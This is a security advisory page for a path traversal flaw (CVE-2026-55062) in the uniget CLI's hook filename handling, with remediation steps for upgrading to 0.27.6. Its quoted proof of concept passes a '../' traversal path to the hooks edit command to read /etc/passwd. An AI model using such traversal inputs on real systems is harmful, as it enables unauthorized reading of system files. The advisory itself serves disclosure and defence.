Path Traversal in gitlab.com/uniget-org/cli (CVE-2026-55062)
Summary
Path traversal in gitlab.com/uniget-org/cli (CVE-2026-55062). Risk of unauthorized operations or information disclosure. Mitigation: upgrade to 0.27.6 or later.
Original description
The description as published by the source.
Summary
Path Traversal vulnerability in hook filename handling allows attackers to access and manipulate arbitrary files outside the hooks directory via directory escape sequences like passwd.
Details
File: hooks.go Lines 135-160
hookFileName := args[0] // User input not validated
hookFile = preInstallHooksDir + "/" + hookFileName // Direct concatenation
Hook filenames are concatenated directly without sanitizing ../ sequences, allowing directory traversal.
PoC
Step 1: Set cat as editor
export EDITOR="cat"
Step 2: Read /etc/passwd via path traversal
./uniget hooks edit --type=pre-install "../../../../etc/passwd"
Step 3: Output shows file contents
root:x:0:0:root:/root:/bin/bash
daemon:x:2:2:daemon:/sbin:/sbin/nologin
[...]
Source: GitHub Security Advisories (Global) NVD GitHub Advisory
Auto-generated summary
Assembled by SecPulse from the source data (CVSS, CWE, affected versions) using templates — no AI involved. Check the original description and references below for exact details.
A vulnerability tracked as CVE-2026-55062 has been found in gitlab.com/uniget-org/cli.
Risk of unauthorized operations or information disclosure.
What to do: upgrade gitlab.com/uniget-org/cli to 0.27.6 or later.
If unsure, ask your IT team or search "gitlab.com/uniget-org/cli CVE-2026-55062" on the vendor's site.
CVE-2026-55062 (gitlab.com/uniget-org/cli) — CWE-22
Patched: 0.27.6 — apply immediately
Plan: 1) Audit SBOM/dependencies, 2) Stage→prod upgrade, 3) Add WAF/proxy monitoring on affected endpoints, 4) Hunt IOCs in logs.
Refs: see the GHSA / vendor advisory / patched release linked on this page.
Path traversal (CWE-22) exists in gitlab.com/uniget-org/cli.
Check the vendor advisory for the affected versions of gitlab.com/uniget-org/cli.
Severity: ?. Risk of unauthorized operations or information disclosure.
Update to 0.27.6.
Until the patch is applied: disable the affected feature, apply WAF rules, or restrict access via network ACLs.
Search webserver/proxy logs for unusual request patterns matching this CVE's known IOCs. Run grep -r 'gitlab.com/uniget-org/cli' . against your dependency files (package-lock.json, requirements.txt, go.sum) to find affected services.
Response actions
Concrete steps and command examples for SOC/SRE teams to execute in order
-
1Identify exposure identify
grep -r 'gitlab.com/uniget-org/cli' . | grep -v node_modulesリポジトリと本番環境の依存ファイル (package-lock.json / requirements.txt / go.sum / Gemfile.lock 等) で
gitlab.com/uniget-org/cliを grep し、稼働しているサービス・バージョンを把握する。 -
2Apply patch patch
Upgrade gitlab.com/uniget-org/cli to 0.27.6ステージング環境で 0.27.6 に上げて回帰テスト → 本番反映。回帰テストはアプリの主要ハッピーパスを含めること。
-
3Post-deployment verification verify
Confirm patched version is live in productionパッチ適用後、ステージングで PoC または同等の悪用パターンを再現して脆弱性が閉じたことを確認。本番ではアクセスログ・WAF でアラート再発が無いか継続監視。
Affected packages
References
- package github.com
- web github.com
- web github.com
- web github.com
- web github.com